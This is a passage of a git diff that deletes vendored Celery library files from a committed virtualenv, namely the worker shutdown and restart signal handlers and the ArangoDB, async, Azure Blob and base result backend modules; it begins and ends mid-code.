hostname=safe_str(self.hostname), - timestamp=datetime.now().replace(microsecond=0), - version=VERSION_BANNER, - conninfo=self.app.connection().as_uri(), - results=self.app.backend.as_uri(), - concurrency=concurrency, - platform=safe_str(_platform.platform()), - events=events, - queues=app.amqp.queues.format(indent=0, indent_first=False), - ).splitlines() - - # integrate the ASCII art. - if artlines: - for i, _ in enumerate(banner): - try: - banner[i] = ' '.join([ARTLINES[i], banner[i]]) - except IndexError: - banner[i] = ' ' * 16 + banner[i] - return '\n'.join(banner) + '\n' - - def install_platform_tweaks(self, worker): - """Install platform specific tweaks and workarounds.""" - if self.app.IS_macOS: - self.macOS_proxy_detection_workaround() - - # Install signal handler so SIGHUP restarts the worker. - if not self._isatty: - # only install HUP handler if detached from terminal, - # so closing the terminal window doesn't restart the worker - # into the background. - if self.app.IS_macOS: - # macOS can't exec from a process using threads. - # See https://github.com/celery/celery/issues#issue/152 - install_HUP_not_supported_handler(worker) - else: - install_worker_restart_handler(worker) - install_worker_term_handler(worker) - install_worker_term_hard_handler(worker) - install_worker_int_handler(worker) - install_cry_handler() - install_rdb_handler() - - def macOS_proxy_detection_workaround(self): - """See https://github.com/celery/celery/issues#issue/161.""" - os.environ.setdefault('celery_dummy_proxy', 'set_by_celeryd') - - def set_process_status(self, info): - return platforms.set_mp_process_title( - 'celeryd', - info=f'{info} ({platforms.strargv(sys.argv)})', - hostname=self.hostname, - ) - - -def _shutdown_handler(worker: Worker, sig='SIGTERM', how='Warm', callback=None, exitcode=EX_OK, verbose=True): - """Install signal handler for warm/cold shutdown. - - The handler will run from the MainProcess. - - Args: - worker (Worker): The worker that received the signal. - sig (str, optional): The signal that was received. Defaults to 'TERM'. - how (str, optional): The type of shutdown to perform. Defaults to 'Warm'. - callback (Callable, optional): Signal handler. Defaults to None. - exitcode (int, optional): The exit code to use. Defaults to EX_OK. - verbose (bool, optional): Whether to print the type of shutdown. Defaults to True. - """ - def _handle_request(*args): - with in_sighandler(): - from celery.worker import state - if current_process()._name == 'MainProcess': - if callback: - callback(worker) - if verbose: - safe_say(f'worker: {how} shutdown (MainProcess)', sys.__stdout__) - signals.worker_shutting_down.send( - sender=worker.hostname, sig=sig, how=how, - exitcode=exitcode, - ) - setattr(state, {'Warm': 'should_stop', - 'Cold': 'should_terminate'}[how], exitcode) - _handle_request.__name__ = str(f'worker_{how}') - platforms.signals[sig] = _handle_request - - -def on_hard_shutdown(worker: Worker): - """Signal handler for hard shutdown. - - The handler will terminate the worker immediately by force using the exit code ``EX_FAILURE``. - - In practice, you should never get here, as the standard shutdown process should be enough. - This handler is only for the worst-case scenario, where the worker is stuck and cannot be - terminated gracefully (e.g., spamming the Ctrl+C in the terminal to force the worker to terminate). - - Args: - worker (Worker): The worker that received the signal. - - Raises: - WorkerTerminate: This exception will be raised in the MainProcess to terminate the worker immediately. - """ - from celery.exceptions import WorkerTerminate - raise WorkerTerminate(EX_FAILURE) - - -def during_soft_shutdown(worker: Worker): - """This signal handler is called when the worker is in the middle of the soft shutdown process. - - When the worker is in the soft shutdown process, it is waiting for tasks to finish. If the worker - receives a SIGINT (Ctrl+C) or SIGQUIT signal (or possibly SIGTERM if REMAP_SIGTERM is set to "SIGQUIT"), - the handler will cancels all unacked requests to allow the worker to terminate gracefully and replace the - signal handler for SIGINT and SIGQUIT with the hard shutdown handler ``on_hard_shutdown`` to terminate - the worker immediately by force next time the signal is received. - - It will give the worker once last chance to gracefully terminate (the cold shutdown), after canceling all - unacked requests, before using the hard shutdown handler to terminate the worker forcefully. - - Args: - worker (Worker): The worker that received the signal. - """ - # Replace the signal handler for SIGINT (Ctrl+C) and SIGQUIT (and possibly SIGTERM) - # with the hard shutdown handler to terminate the worker immediately by force - install_worker_term_hard_handler(worker, sig='SIGINT', callback=on_hard_shutdown, verbose=False) - install_worker_term_hard_handler(worker, sig='SIGQUIT', callback=on_hard_shutdown) - - # Cancel all unacked requests and allow the worker to terminate naturally - worker.consumer.cancel_active_requests() - - # We get here if the worker was in the middle of the soft (cold) shutdown process, - # and the matching signal was received. This can typically happen when the worker is - # waiting for tasks to finish, and the user decides to still cancel the running tasks. - # We give the worker the last chance to gracefully terminate by letting the soft shutdown - # waiting time to finish, which is running in the MainProcess from the previous signal handler call. - safe_say('Waiting gracefully for cold shutdown to complete...', sys.__stdout__) - - -def on_cold_shutdown(worker: Worker): - """Signal handler for cold shutdown. - - Registered for SIGQUIT and SIGINT (Ctrl+C) signals. If REMAP_SIGTERM is set to "SIGQUIT", this handler will also - be registered for SIGTERM. - - This handler will initiate the cold (and soft if enabled) shutdown procesdure for the worker. - - Worker running with N tasks: - - SIGTERM: - -The worker will initiate the warm shutdown process until all tasks are finished. Additional. - SIGTERM signals will be ignored. SIGQUIT will transition to the cold shutdown process described below. - - SIGQUIT: - - The worker will initiate the cold shutdown process. - - If the soft shutdown is enabled, the worker will wait for the tasks to finish up to the soft - shutdown timeout (practically having a limited warm shutdown just before the cold shutdown). - - Cancel all tasks (from the MainProcess) and allow the worker to complete the cold shutdown - process gracefully. - - Caveats: - - SIGINT (Ctrl+C) signal is defined to replace itself with the cold shutdown (SIGQUIT) after first use, - and to emit a message to the user to hit Ctrl+C again to initiate the cold shutdown process. But, most - important, it will also be caught in WorkController.start() to initiate the warm shutdown process. - - SIGTERM will also be handled in WorkController.start() to initiate the warm shutdown process (the same). - - If REMAP_SIGTERM is set to "SIGQUIT", the SIGTERM signal will be remapped to SIGQUIT, and the cold - shutdown process will be initiated instead of the warm shutdown process using SIGTERM. - - If SIGQUIT is received (also via SIGINT) during the cold/soft shutdown process, the handler will cancel all - unacked requests but still wait for the soft shutdown process to finish before terminating the worker - gracefully. The next time the signal is received though, the worker will terminate immediately by force. - - So, the purpose of this handler is to allow waiting for the soft shutdown timeout, then cancel all tasks from - the MainProcess and let the WorkController.terminate() to terminate the worker naturally. If the soft shutdown - is disabled, it will immediately cancel all tasks let the cold shutdown finish normally. - - Args: - worker (Worker): The worker that received the signal. - """ - safe_say('worker: Hitting Ctrl+C again will terminate all running tasks!', sys.__stdout__) - - # Replace the signal handler for SIGINT (Ctrl+C) and SIGQUIT (and possibly SIGTERM) - install_worker_term_hard_handler(worker, sig='SIGINT', callback=during_soft_shutdown) - install_worker_term_hard_handler(worker, sig='SIGQUIT', callback=during_soft_shutdown) - if REMAP_SIGTERM == "SIGQUIT": - install_worker_term_hard_handler(worker, sig='SIGTERM', callback=during_soft_shutdown) - # else, SIGTERM will print the _shutdown_handler's message and do nothing, every time it is received.. - - # Initiate soft shutdown process (if enabled and tasks are running) - worker.wait_for_soft_shutdown() - - # Stop consuming new tasks to prevents requeued messages from being immediately redelivered - if worker.consumer.task_consumer: - worker.consumer.task_consumer.cancel() - - # Cancel all unacked requests and allow the worker to terminate naturally - worker.consumer.cancel_active_requests() - - from celery.worker import state - state.should_terminate = True - - # Stop the pool to allow successful tasks call on_success() - if worker.consumer.pool: - worker.consumer.pool.stop() - - -# Allow SIGTERM to be remapped to SIGQUIT to initiate cold shutdown instead of warm shutdown using SIGTERM -if REMAP_SIGTERM == "SIGQUIT": - install_worker_term_handler = partial( - _shutdown_handler, sig='SIGTERM', how='Cold', callback=on_cold_shutdown, exitcode=EX_FAILURE, - ) -else: - install_worker_term_handler = partial( - _shutdown_handler, sig='SIGTERM', how='Warm', - ) - - -if not is_jython: # pragma: no cover - install_worker_term_hard_handler = partial( - _shutdown_handler, sig='SIGQUIT', how='Cold', callback=on_cold_shutdown, exitcode=EX_FAILURE, - ) -else: # pragma: no cover - install_worker_term_handler = \ - install_worker_term_hard_handler = lambda *a, **kw: None - - -def on_SIGINT(worker): - safe_say('worker: Hitting Ctrl+C again will initiate cold shutdown, terminating all running tasks!', - sys.__stdout__) - install_worker_term_hard_handler(worker, sig='SIGINT', verbose=False) - - -if not is_jython: # pragma: no cover - install_worker_int_handler = partial( - _shutdown_handler, sig='SIGINT', callback=on_SIGINT, - exitcode=EX_FAILURE, - ) -else: # pragma: no cover - def install_worker_int_handler(*args, **kwargs): - pass - - -def _reload_current_worker(): - platforms.close_open_fds([ - sys.__stdin__, sys.__stdout__, sys.__stderr__, - ]) - os.execv(sys.executable, [sys.executable] + sys.argv) - - -def install_worker_restart_handler(worker, sig='SIGHUP'): - - def restart_worker_sig_handler(*args): - """Signal handler restarting the current python program.""" - set_in_sighandler(True) - safe_say(f"Restarting celery worker ({' '.join(sys.argv)})", - sys.__stdout__) - import atexit - atexit.register(_reload_current_worker) - from celery.worker import state - state.should_stop = EX_OK - platforms.signals[sig] = restart_worker_sig_handler - - -def install_cry_handler(sig='SIGUSR1'): - # PyPy does not have sys._current_frames - if is_pypy: # pragma: no cover - return - - def cry_handler(*args): - """Signal handler logging the stack-trace of all active threads.""" - with in_sighandler(): - safe_say(cry()) - platforms.signals[sig] = cry_handler - - -def install_rdb_handler(envvar='CELERY_RDBSIG', - sig='SIGUSR2'): # pragma: no cover - - def rdb_handler(*args): - """Signal handler setting a rdb breakpoint at the current frame.""" - with in_sighandler(): - from celery.contrib.rdb import _frame, set_trace - - # gevent does not pass standard signal handler args - frame = args[1] if args else _frame().f_back - set_trace(frame) - if os.environ.get(envvar): - platforms.signals[sig] = rdb_handler - - -def install_HUP_not_supported_handler(worker, sig='SIGHUP'): - - def warn_on_HUP_handler(signum, frame): - with in_sighandler(): - safe_say('{sig} not supported: Restarting with {sig} is ' - 'unstable on this platform!'.format(sig=sig)) - platforms.signals[sig] = warn_on_HUP_handler diff --git a/venv/Lib/site-packages/celery/backends/__init__.py b/venv/Lib/site-packages/celery/backends/__init__.py deleted file mode 100644 index ae2b485aba8f552db8f45c74582748591525d213..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""Result Backends.""" diff --git a/venv/Lib/site-packages/celery/backends/arangodb.py b/venv/Lib/site-packages/celery/backends/arangodb.py deleted file mode 100644 index cc9cc48d1414bbbd126e371b1fc03c39ac634cc2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/arangodb.py +++ /dev/null @@ -1,190 +0,0 @@ -"""ArangoDb result store backend.""" - -# pylint: disable=W1202,W0703 - -from datetime import timedelta - -from kombu.utils.objects import cached_property -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - from pyArango import connection as py_arango_connection - from pyArango.theExceptions import AQLQueryError -except ImportError: - py_arango_connection = AQLQueryError = None - -__all__ = ('ArangoDbBackend',) - - -class ArangoDbBackend(KeyValueStoreBackend): - """ArangoDb backend. - - Sample url - "arangodb://username:password@host:port/database/collection" - *arangodb_backend_settings* is where the settings are present - (in the app.conf) - Settings should contain the host, port, username, password, database name, - collection name else the default will be chosen. - Default database name and collection name is celery. - - Raises - ------ - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pyArango` is not available. - - """ - - host = '127.0.0.1' - port = '8529' - database = 'celery' - collection = 'celery' - username = None - password = None - # protocol is not supported in backend url (http is taken as default) - http_protocol = 'http' - verify = False - - # Use str as arangodb key not bytes - key_t = str - - def __init__(self, url=None, *args, **kwargs): - """Parse the url or load the settings from settings object.""" - super().__init__(*args, **kwargs) - - if py_arango_connection is None: - raise ImproperlyConfigured( - 'You need to install the pyArango library to use the ' - 'ArangoDb backend.', - ) - - self.url = url - - if url is None: - host = port = database = collection = username = password = None - else: - ( - _schema, host, port, username, password, - database_collection, _query - ) = _parse_url(url) - if database_collection is None: - database = collection = None - else: - database, collection = database_collection.split('/') - - config = self.app.conf.get('arangodb_backend_settings', None) - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'ArangoDb backend settings should be grouped in a dict', - ) - else: - config = {} - - self.host = host or config.get('host', self.host) - self.port = int(port or config.get('port', self.port)) - self.http_protocol = config.get('http_protocol', self.http_protocol) - self.verify = config.get('verify', self.verify) - self.database = database or config.get('database', self.database) - self.collection = \ - collection or config.get('collection', self.collection) - self.username = username or config.get('username', self.username) - self.password = password or config.get('password', self.password) - self.arangodb_url = "{http_protocol}://{host}:{port}".format( - http_protocol=self.http_protocol, host=self.host, port=self.port - ) - self._connection = None - - @property - def connection(self): - """Connect to the arangodb server.""" - if self._connection is None: - self._connection = py_arango_connection.Connection( - arangoURL=self.arangodb_url, username=self.username, - password=self.password, verify=self.verify - ) - return self._connection - - @property - def db(self): - """Database Object to the given database.""" - return self.connection[self.database] - - @cached_property - def expires_delta(self): - return timedelta(seconds=0 if self.expires is None else self.expires) - - def get(self, key): - if key is None: - return None - query = self.db.AQLQuery( - "RETURN DOCUMENT(@@collection, @key).task", - rawResults=True, - bindVars={ - "@collection": self.collection, - "key": key, - }, - ) - return next(query) if len(query) > 0 else None - - def set(self, key, value): - self.db.AQLQuery( - """ - UPSERT {_key: @key} - INSERT {_key: @key, task: @value} - UPDATE {task: @value} IN @@collection - """, - bindVars={ - "@collection": self.collection, - "key": key, - "value": value, - }, - ) - - def mget(self, keys): - if keys is None: - return - query = self.db.AQLQuery( - "FOR k IN @keys RETURN DOCUMENT(@@collection, k).task", - rawResults=True, - bindVars={ - "@collection": self.collection, - "keys": keys if isinstance(keys, list) else list(keys), - }, - ) - while True: - yield from query - try: - query.nextBatch() - except StopIteration: - break - - def delete(self, key): - if key is None: - return - self.db.AQLQuery( - "REMOVE {_key: @key} IN @@collection", - bindVars={ - "@collection": self.collection, - "key": key, - }, - ) - - def cleanup(self): - if not self.expires: - return - checkpoint = (self.app.now() - self.expires_delta).isoformat() - self.db.AQLQuery( - """ - FOR record IN @@collection - FILTER record.task.date_done < @checkpoint - REMOVE record IN @@collection - """, - bindVars={ - "@collection": self.collection, - "checkpoint": checkpoint, - }, - ) diff --git a/venv/Lib/site-packages/celery/backends/asynchronous.py b/venv/Lib/site-packages/celery/backends/asynchronous.py deleted file mode 100644 index c5f292ceb6e017767c9035efb55887a97d770480..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/asynchronous.py +++ /dev/null @@ -1,443 +0,0 @@ -"""Async I/O backend support utilities.""" - -import logging -import socket -import threading -import time -from collections import deque -from contextlib import contextmanager -from queue import Empty -from time import sleep -from weakref import WeakKeyDictionary - -from kombu.utils.compat import detect_environment - -from celery import states -from celery.exceptions import TimeoutError -from celery.utils.log import get_logger -from celery.utils.threads import THREAD_TIMEOUT_MAX - -E_CELERY_RESTART_REQUIRED = "Celery must be restarted because a shutdown signal was detected." - -E_RETRY_LIMIT_EXCEEDED = """ -Retry limit exceeded while trying to reconnect to the Celery result store -backend. The Celery application must be restarted. -""" - -logger = get_logger(__name__) - -__all__ = ( - 'AsyncBackendMixin', 'BaseResultConsumer', 'Drainer', - 'register_drainer', -) - - -class EventletAdaptedEvent: - """ - An adapted eventlet event, designed to match the API of `threading.Event` and - `gevent.event.Event`. - """ - - def __init__(self): - import eventlet - self.evt = eventlet.Event() - - def is_set(self): - return self.evt.ready() - - def set(self): - return self.evt.send() - - def wait(self, timeout=None): - return self.evt.wait(timeout) - - -drainers = {} - - -def register_drainer(name): - """Decorator used to register a new result drainer type.""" - def _inner(cls): - drainers[name] = cls - return cls - return _inner - - -@register_drainer('default') -class Drainer: - """Result draining service.""" - - def __init__(self, result_consumer): - self.result_consumer = result_consumer - - def start(self): - pass - - def stop(self): - pass - - def drain_events_until(self, p, timeout=None, interval=1, on_interval=None, wait=None): - wait = wait or self.result_consumer.drain_events - time_start = time.monotonic() - - while 1: - # Total time spent may exceed a single call to wait() - if timeout and time.monotonic() - time_start >= timeout: - raise socket.timeout() - try: - yield self.wait_for(p, wait, timeout=interval) - except socket.timeout: - pass - except OSError: - # Recoverable connection error (e.g. broker restart). - # drain_events handles reconnection internally; if an - # OSError still leaks through, we log, sleep for one - # interval, and continue rather than spinning hot. - logging.warning( - 'Drainer: connection error during drain_events, ' - 'will retry on next loop iteration.', - exc_info=True, - ) - time.sleep(interval) - - if on_interval: - on_interval() - if p.ready: # got event on the wanted channel. - break - - def wait_for(self, p, wait, timeout=None): - wait(timeout=timeout) - - def _event(self): - return threading.Event() - - -class greenletDrainer(Drainer): - spawn = None - _exc = None - _g = None - _drain_complete_event = None # event, sended (and recreated) after every drain_events iteration - - def _send_drain_complete_event(self): - self._drain_complete_event.set() - self._drain_complete_event = self._event() - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - self._started = self._event() - self._stopped = self._event() - self._shutdown = self._event() - self._drain_complete_event = self._event() - - def run(self): - self._started.set() - - try: - while not self._stopped.is_set(): - try: - self.result_consumer.drain_events(timeout=1) - self._send_drain_complete_event() - except socket.timeout: - pass - except OSError: - # Recoverable connection errors (e.g. broker restart) - # are handled inside drain_events via reconnection. - # If something still leaks through, we log, back off - # briefly, and retry instead of spinning hot. - logging.warning( - 'Drainer: connection error during drain_events, ' - 'will retry on next loop iteration.', - exc_info=True, - ) - time.sleep(1) - except Exception as e: - self._exc = e - raise - finally: - self._send_drain_complete_event() - try: - self._shutdown.set() - except RuntimeError as e: - logging.error(f"Failed to set shutdown event: {e}") - - def start(self): - self._ensure_not_shut_down() - - if not self._started.is_set(): - self._g = self.spawn(self.run) - self._started.wait() - - def stop(self): - self._stopped.set() - self._shutdown.wait(THREAD_TIMEOUT_MAX) - - def wait_for(self, p, wait, timeout=None): - self.start() - if not p.ready: - self._drain_complete_event.wait(timeout=timeout) - - self._ensure_not_shut_down() - - def _ensure_not_shut_down(self): - """Currently used to ensure the drainer has not run to completion. - - Raises if the shutdown event has been signaled (either due to an exception - or stop() being called). - - The _shutdown event acts as synchronization to ensure _exc is properly - set before it is read from, avoiding need for locks. - """ - if self._shutdown.is_set(): - if self._exc is not None: - raise self._exc - else: - raise Exception(E_CELERY_RESTART_REQUIRED) - - -@register_drainer('eventlet') -class eventletDrainer(greenletDrainer): - - def spawn(self, func): - from eventlet import sleep, spawn - g = spawn(func) - sleep(0) - return g - - def _event(self): - return EventletAdaptedEvent() - - -@register_drainer('gevent') -class geventDrainer(greenletDrainer): - - def spawn(self, func): - import gevent - g = gevent.spawn(func) - gevent.sleep(0) - return g - - def _event(self): - from gevent.event import Event - return Event() - - -class AsyncBackendMixin: - """Mixin for backends that enables the async API.""" - - def _collect_into(self, result, bucket): - self.result_consumer.buckets[result] = bucket - - def iter_native(self, result, no_ack=True, **kwargs): - self._ensure_not_eager() - - results = result.results - if not results: - raise StopIteration() - - # we tell the result consumer to put consumed results - # into these buckets. - bucket = deque() - for node in results: - if not hasattr(node, '_cache'): - bucket.append(node) - elif node._cache: - bucket.append(node) - else: - self._collect_into(node, bucket) - - for _ in self._wait_for_pending(result, no_ack=no_ack, **kwargs): - while bucket: - node = bucket.popleft() - if not hasattr(node, '_cache'): - yield node.id, node.children - else: - yield node.id, node._cache - while bucket: - node = bucket.popleft() - yield node.id, node._cache - - def add_pending_result(self, result, weak=False, start_drainer=True): - if start_drainer: - self.result_consumer.drainer.start() - try: - self._maybe_resolve_from_buffer(result) - except Empty: - self._add_pending_result(result.id, result, weak=weak) - return result - - def _maybe_resolve_from_buffer(self, result): - result._maybe_set_cache(self._pending_messages.take(result.id)) - - def _add_pending_result(self, task_id, result, weak=False): - concrete, weak_ = self._pending_results - if task_id not in weak_ and result.id not in concrete: - (weak_ if weak else concrete)[task_id] = result - self.result_consumer.consume_from(task_id) - - def add_pending_results(self, results, weak=False): - self.result_consumer.drainer.start() - return [self.add_pending_result(result, weak=weak, start_drainer=False) - for result in results] - - def remove_pending_result(self, result): - self._remove_pending_result(result.id) - self.on_result_fulfilled(result) - return result - - def _remove_pending_result(self, task_id): - for mapping in self._pending_results: - mapping.pop(task_id, None) - - def on_result_fulfilled(self, result): - self.result_consumer.cancel_for(result.id) - - def wait_for_pending(self, result, - callback=None, propagate=True, **kwargs): - self._ensure_not_eager() - for _ in self._wait_for_pending(result, **kwargs): - pass - return result.maybe_throw(callback=callback, propagate=propagate) - - def _wait_for_pending(self, result, - timeout=None, on_interval=None, on_message=None, - **kwargs): - return self.result_consumer._wait_for_pending( - result, timeout=timeout, - on_interval=on_interval, on_message=on_message, - **kwargs - ) - - @property - def is_async(self): - return True - - -class BaseResultConsumer: - """Manager responsible for consuming result messages.""" - - #: Tuple of transport-layer exceptions that signal a lost connection. - #: Subclasses should override this with the appropriate exception types - #: so that :meth:`reconnect_on_error` can catch and recover from them. - _connection_errors = () - - def __init__(self, backend, app, accept, - pending_results, pending_messages): - self.backend = backend - self.app = app - self.accept = accept - self._pending_results = pending_results - self._pending_messages = pending_messages - self.on_message = None - self.buckets = WeakKeyDictionary() - self.drainer = drainers[detect_environment()](self) - - def start(self, initial_task_id, **kwargs): - raise NotImplementedError() - - @contextmanager - def reconnect_on_error(self): - """Context manager that catches connection errors and reconnects. - - Wraps a block of code so that any :attr:`_connection_errors` raised - inside it trigger a call to :meth:`_reconnect`. If reconnection - itself raises a connection error the consumer is considered - unrecoverable and a :exc:`RuntimeError` is raised to signal that - the Celery application must be restarted. - """ - try: - yield - except self._connection_errors: - try: - self._reconnect() - except self._connection_errors as exc: - logger.critical(E_RETRY_LIMIT_EXCEEDED) - raise RuntimeError(E_RETRY_LIMIT_EXCEEDED) from exc - - def _reconnect(self): - """Re-establish the backend connection. - - Subclasses must override this method to perform the transport-specific - reconnection logic that should be executed when a connection error is - caught by :meth:`reconnect_on_error`. - """ - pass - - def stop(self): - pass - - def drain_events(self, timeout=None): - raise NotImplementedError() - - def consume_from(self, task_id): - raise NotImplementedError() - - def cancel_for(self, task_id): - raise NotImplementedError() - - def _after_fork(self): - self.buckets.clear() - self.buckets = WeakKeyDictionary() - self.on_message = None - self.on_after_fork() - - def on_after_fork(self): - pass - - def drain_events_until(self, p, timeout=None, on_interval=None): - return self.drainer.drain_events_until( - p, timeout=timeout, on_interval=on_interval) - - def _wait_for_pending(self, result, - timeout=None, on_interval=None, on_message=None, - **kwargs): - self.on_wait_for_pending(result, timeout=timeout, **kwargs) - prev_on_m, self.on_message = self.on_message, on_message - try: - for _ in self.drain_events_until( - result.on_ready, timeout=timeout, - on_interval=on_interval): - yield - sleep(0) - except socket.timeout: - raise TimeoutError('The operation timed out.') - finally: - self.on_message = prev_on_m - - def on_wait_for_pending(self, result, timeout=None, **kwargs): - pass - - def on_out_of_band_result(self, message): - self.on_state_change(message.payload, message) - - def _get_pending_result(self, task_id): - for mapping in self._pending_results: - try: - return mapping[task_id] - except KeyError: - pass - raise KeyError(task_id) - - def on_state_change(self, meta, message): - if self.on_message: - self.on_message(meta) - if meta['status'] in states.READY_STATES: - task_id = meta['task_id'] - try: - result = self._get_pending_result(task_id) - except KeyError: - # send to buffer in case we received this result - # before it was added to _pending_results. - self._pending_messages.put(task_id, meta) - else: - result._maybe_set_cache(meta) - buckets = self.buckets - try: - # remove bucket for this result, since it's fulfilled - bucket = buckets.pop(result) - except KeyError: - pass - else: - # send to waiter via bucket - bucket.append(result) - sleep(0) diff --git a/venv/Lib/site-packages/celery/backends/azureblockblob.py b/venv/Lib/site-packages/celery/backends/azureblockblob.py deleted file mode 100644 index 3648cbe41727759c214986b1c7d5eba001302258..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/azureblockblob.py +++ /dev/null @@ -1,188 +0,0 @@ -"""The Azure Storage Block Blob backend for Celery.""" -from kombu.transport.azurestoragequeues import Transport as AzureStorageQueuesTransport -from kombu.utils import cached_property -from kombu.utils.encoding import bytes_to_str - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import azure.storage.blob as azurestorage - from azure.core.exceptions import ResourceExistsError, ResourceNotFoundError - from azure.storage.blob import BlobServiceClient -except ImportError: - azurestorage = None - -__all__ = ("AzureBlockBlobBackend",) - -LOGGER = get_logger(__name__) -AZURE_BLOCK_BLOB_CONNECTION_PREFIX = 'azureblockblob://' - - -class AzureBlockBlobBackend(KeyValueStoreBackend): - """Azure Storage Block Blob backend for Celery.""" - - def __init__(self, - url=None, - container_name=None, - *args, - **kwargs): - """ - Supported URL formats: - - azureblockblob://CONNECTION_STRING - azureblockblob://DefaultAzureCredential@STORAGE_ACCOUNT_URL - azureblockblob://ManagedIdentityCredential@STORAGE_ACCOUNT_URL - """ - super().__init__(*args, **kwargs) - - if azurestorage is None or azurestorage.__version__ < '12': - raise ImproperlyConfigured( - "You need to install the azure-storage-blob v12 library to" - "use the AzureBlockBlob backend") - - conf = self.app.conf - - self._connection_string = self._parse_url(url) - - self._container_name = ( - container_name or - conf["azureblockblob_container_name"]) - - self.base_path = conf.get('azureblockblob_base_path', '') - self._connection_timeout = conf.get( - 'azureblockblob_connection_timeout', 20 - ) - self._read_timeout = conf.get('azureblockblob_read_timeout', 120) - - @classmethod - def _parse_url(cls, url, prefix=AZURE_BLOCK_BLOB_CONNECTION_PREFIX): - connection_string = url[len(prefix):] - if not connection_string: - raise ImproperlyConfigured("Invalid URL") - - return connection_string - - @cached_property - def _blob_service_client(self): - """Return the Azure Storage Blob service client. - - If this is the first call to the property, the client is created and - the container is created if it doesn't yet exist. - - """ - if ( - "DefaultAzureCredential" in self._connection_string or - "ManagedIdentityCredential" in self._connection_string - ): - # Leveraging the work that Kombu already did for us - credential_, url = AzureStorageQueuesTransport.parse_uri( - self._connection_string - ) - client = BlobServiceClient( - account_url=url, - credential=credential_, - connection_timeout=self._connection_timeout, - read_timeout=self._read_timeout, - ) - else: - client = BlobServiceClient.from_connection_string( - self._connection_string, - connection_timeout=self._connection_timeout, - read_timeout=self._read_timeout, - ) - - try: - client.create_container(name=self._container_name) - msg = f"Container created with name {self._container_name}." - except ResourceExistsError: - msg = f"Container with name {self._container_name} already." \ - "exists. This will not be created." - LOGGER.info(msg) - - return client - - def get(self, key): - """Read the value stored at the given key. - - Args: - key: The key for which to read the value. - """ - key = bytes_to_str(key) - LOGGER.debug("Getting Azure Block Blob %s/%s", self._container_name, key) - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - try: - return blob_client.download_blob().readall().decode() - except ResourceNotFoundError: - return None - - def set(self, key, value): - """Store a value for a given key. - - Args: - key: The key at which to store the value. - value: The value to store. - - """ - key = bytes_to_str(key) - LOGGER.debug(f"Creating azure blob at {self._container_name}/{key}") - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - blob_client.upload_blob(value, overwrite=True) - - def mget(self, keys): - """Read all the values for the provided keys. - - Args: - keys: The list of keys to read. - - """ - return [self.get(key) for key in keys] - - def delete(self, key): - """Delete the value at a given key. - - Args: - key: The key of the value to delete. - - """ - key = bytes_to_str(key) - LOGGER.debug(f"Deleting azure blob at {self._container_name}/{key}") - - blob_client = self._blob_service_client.get_blob_client( - container=self._container_name, - blob=f'{self.base_path}{key}', - ) - - blob_client.delete_blob() - - def as_uri(self, include_password=False): - if include_password: - return ( - f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' - f'{self._connection_string}' - ) - - connection_string_parts = self._connection_string.split(';') - account_key_prefix = 'AccountKey=' - redacted_connection_string_parts = [ - f'{account_key_prefix}**' if part.startswith(account_key_prefix) - else part - for part in connection_string_parts - ] - - return ( - f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' - f'{";".join(redacted_connection_string_parts)}' - ) diff --git a/venv/Lib/site-packages/celery/backends/base.py b/venv/Lib/site-packages/celery/backends/base.py deleted file mode 100644 index 69bfa550f6c447de5c70e510e8a924cbd7be8d45..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/base.py +++ /dev/null @@ -1,1227 +0,0 @@ -"""Result backend base classes. - -- :class:`BaseBackend` defines the interface. - -- :class:`KeyValueStoreBackend` is a common base class - using K/V semantics like _get and _put. -""" -import sys -import time -import warnings -from collections import namedtuple -from datetime import timedelta -from functools import partial -from weakref import WeakValueDictionary - -from billiard.einfo import ExceptionInfo -from kombu.serialization import dumps, loads, prepare_accept_content -from kombu.serialization import registry as serializer_registry -from kombu.utils.encoding import bytes_to_str, ensure_bytes -from kombu.utils.url import maybe_sanitize_url - -import celery.exceptions -from celery import current_app, group, maybe_signature, states -from celery._state import get_current_task -from celery.app.task import Context -from celery.exceptions import (BackendGetMetaError, BackendStoreError, ChordError, ImproperlyConfigured, - NotRegistered, SecurityError, TaskRevokedError, TimeoutError) -from celery.result import GroupResult, ResultBase, ResultSet, allow_join_result, result_from_tuple -from celery.utils.collections import BufferMap -from celery.utils.functional import LRUCache, arity_greater -from celery.utils.log import get_logger -from celery.utils.serialization import (create_exception_cls, ensure_serializable, get_pickleable_exception, - get_pickled_exception, raise_with_context) -from celery.utils.time import get_exponential_backoff_interval - -__all__ = ('BaseBackend', 'KeyValueStoreBackend', 'DisabledBackend') - -EXCEPTION_ABLE_CODECS = frozenset({'pickle'}) - -logger = get_logger(__name__) - -MESSAGE_BUFFER_MAX = 8192 - -pending_results_t = namedtuple('pending_results_t', ( - 'concrete', 'weak', -)) - -E_NO_BACKEND = """ -No result backend is configured. -Please see the documentation for more information. -""" - -E_CHORD_NO_BACKEND = """ -Starting chords requires a result backend to be configured. - -Note that a group chained with a task is also upgraded to be a chord, -as this pattern requires synchronization. - -Result backends that supports chords: Redis, Database, Memcached, and more. -""" - - -def unpickle_backend(cls, args, kwargs): - """Return an unpickled backend.""" - return cls(*args, app=current_app._get_current_object(), **kwargs) - - -def _create_chord_error_with_cause(message, original_exc=None) -> ChordError: - """Create a ChordError preserving the original exception as __cause__. - - This helper reduces code duplication across the codebase when creating - ChordError instances that need to preserve the original exception. - """ - chord_error = ChordError(message) - if isinstance(original_exc, Exception): - chord_error.__cause__ = original_exc - return chord_error - - -def _create_fake_task_request(task_id, errbacks=None, task_name='unknown', **extra) -> Context: - """Create a fake task request 